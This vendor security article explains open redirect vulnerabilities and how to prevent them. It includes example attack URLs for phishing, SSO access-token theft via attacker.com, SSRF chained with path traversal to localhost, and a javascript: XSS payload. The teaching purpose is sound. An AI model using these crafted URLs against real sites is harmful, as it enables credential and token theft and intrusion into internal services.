Open redirect vulnerabilities and how to avoid them

Sven Morgenroth on Paul’s Security Weekly #688

Invicti security researcher Sven Morgenroth joined Paul Asadoorian on episode 688 of the Paul’s Security Weekly cybersecurity podcast to talk about open redirects and show them in action. Watch the full episode below and read on for an overview of open redirect vulnerabilities.

What are Open Redirects?

Redirects are a common part of website operations but can cause application security risks when carelessly implemented. An open redirect endpoint accepts untrusted inputs as the target URL, allowing attackers to redirect users to a malicious website and opening up a wide array of attack vectors. Exploitation can be as simple as manually changing a URL parameter value to an attacker-controlled site.

There are three types of redirects and all of them can, in specific scenarios, be used to exploit open redirection:

• Header-based redirects use the HTTP Location header to specify a new browser location. This is the most common redirection method.
  Example: Location: https://www.attacker.com/
• Meta tag redirects use the HTML meta tag to navigate to a new location.
  Example: <meta http-equiv = "refresh" content = "0;url=https://www.attacker.com/" />
• DOM-based redirects use JavaScript to manipulate DOM window properties.
  Example: window.location = 'https://www.attacker.com'

Scenarios for Exploiting Open Redirect Vulnerabilities

Open redirects are attractive to attackers because they provide a way to exploit the user’s trust in a legitimate website. The crafted URL usually starts with a legitimate domain name and the malicious server name comes later, often encoded to avoid suspicion. Let’s take a look at typical attack options.

Phishing Attacks

The most obvious use for a disguised malicious URL is in phishing attempts. If a legitimate site exposes an open redirect endpoint, attackers might send phishing emails with a link that seems to point at the original site but actually redirects to an attacker-controlled URL, for example:

https://example.com/redirect.php?redirecturl=http://attacker.com/phish/

At first glance, this looks like a link to example.com with some parameters after it. In real life, the attacker domain might be disguised using URL encoding and buried in a long string of additional parameters. Fooled by the trustworthy appearance of the link, users are more likely to fall for the phishing scam.

This may work even for sites that require authentication. If the user is already logged into example.com, clicking the redirect link might take them to a fake login page in an attempt to steal user credentials.

Token Theft Scenario

In some cases, open redirect vulnerabilities can make it possible to steal user tokens. Let’s say we have an application that uses single sign-on (SSO) and is vulnerable to open redirection. The expected user authentication flow is:

1. The login page opens at https://sso.example.com/signin?target=https://example.com/auth
2. The authentication server checks if example.com is whitelisted
3. The user provides their username and password
4. If the credentials are valid, the authentication server sends an access token to the specified target by calling https://example.com/auth?token=1234567890

If example.com exposes an open redirect, the following attack may be possible:

1. The attacker supplies a login URL of https://sso.example.com/signin?target=https://example.com/redirect?url=https://attacker.com/log
2. The target server’s hostname is example.com, so the authentication server allows it
3. The user provides their username and password
4. The access token sent by the authentication server is redirected to the attacker by calling https://example.com/redirect?token=1234567890&url=https://attacker.com/log
5. Looking at server logs at attacker.com, the attacker can see the URL that initiated the redirect (including the access token) by examining the Referer header in incoming GET requests

This scenario allows malicious actors to discover access tokens and use them for session hijacking and other attacks.

Server-Side Request Forgery (SSRF)

If that wasn’t bad enough, open redirects can also provide a gateway for server-side request forgery attacks. These are most useful against internal resources and are possible if a web server permits redirection to an internal host. When combined with a vulnerability like path traversal, they can provide attackers with an internal access route even in seemingly innocent scenarios.

Let’s say we have an image hosting service that exposes an API to provide access to images based on an image ID:

https://some-image-service.com/api/v1/get-image/[IMGID]

A client site uses this service by passing image IDs taken from user inputs:

https://example.com/show-image/?imgid=[INPUT]

Unfortunately, some-image-service.com also exposes an open redirect and is vulnerable to path traversal. An attacker can chain these vulnerabilities and go via example.com to some-image-service.com to access a local web page at http://localhost:8080:

https://example.com/show-image/?imgid=../../../redirect?url=http://localhost:8080

This crafted imgid value is sent from example.com to some-image-service.com where path traversal allows the attacker to move to the open redirect endpoint. The redirect target is the local host which would be inaccessible to the attacker directly but is accessible through SSRF.

Cross-Site Scripting (XSS) Through Redirection to Another Protocol

As a final example, open redirection can also allow attackers to specify non-HTTP protocols that would be blocked if called directly. For DOM-based redirects that allow the javascript: protocol, this can open up a cross-site scripting vulnerability and lead to arbitrary JavaScript code execution, for example:

https://example.com/redirect.html?url=javascript:alert(document.domain)

If successful, this would execute alert(document.domain) in the context of example.com for a cross-site scripting attack.

Preventing Open Redirection Vulnerabilities

As with many other vulnerabilities, open redirects are mostly caused by processing unvalidated user inputs, especially URL query strings. To minimize the risk of unwanted redirects, avoid user-controllable data in URLs where possible and carefully sanitize it when it must be used. See the OWASP Unvalidated Redirects and Forwards Cheat Sheet for detailed recommendations.

It’s a good idea to whitelist all permitted target locations (if possible) and redirect all other values to a default location. Another approach might be to generate a unique ID for each redirect target, thus eliminating user-controllable names from the URL. By setting a suitable Referrer-Policy header, you can restrict referrer URL exposure to further reduce the risk of token leaks.

Invicti detects a variety of open redirection vulnerabilities, including DOM-based open redirects that can lead to cross-site scripting, so it’s a good idea to regularly scan your websites and applications to identify such weaknesses.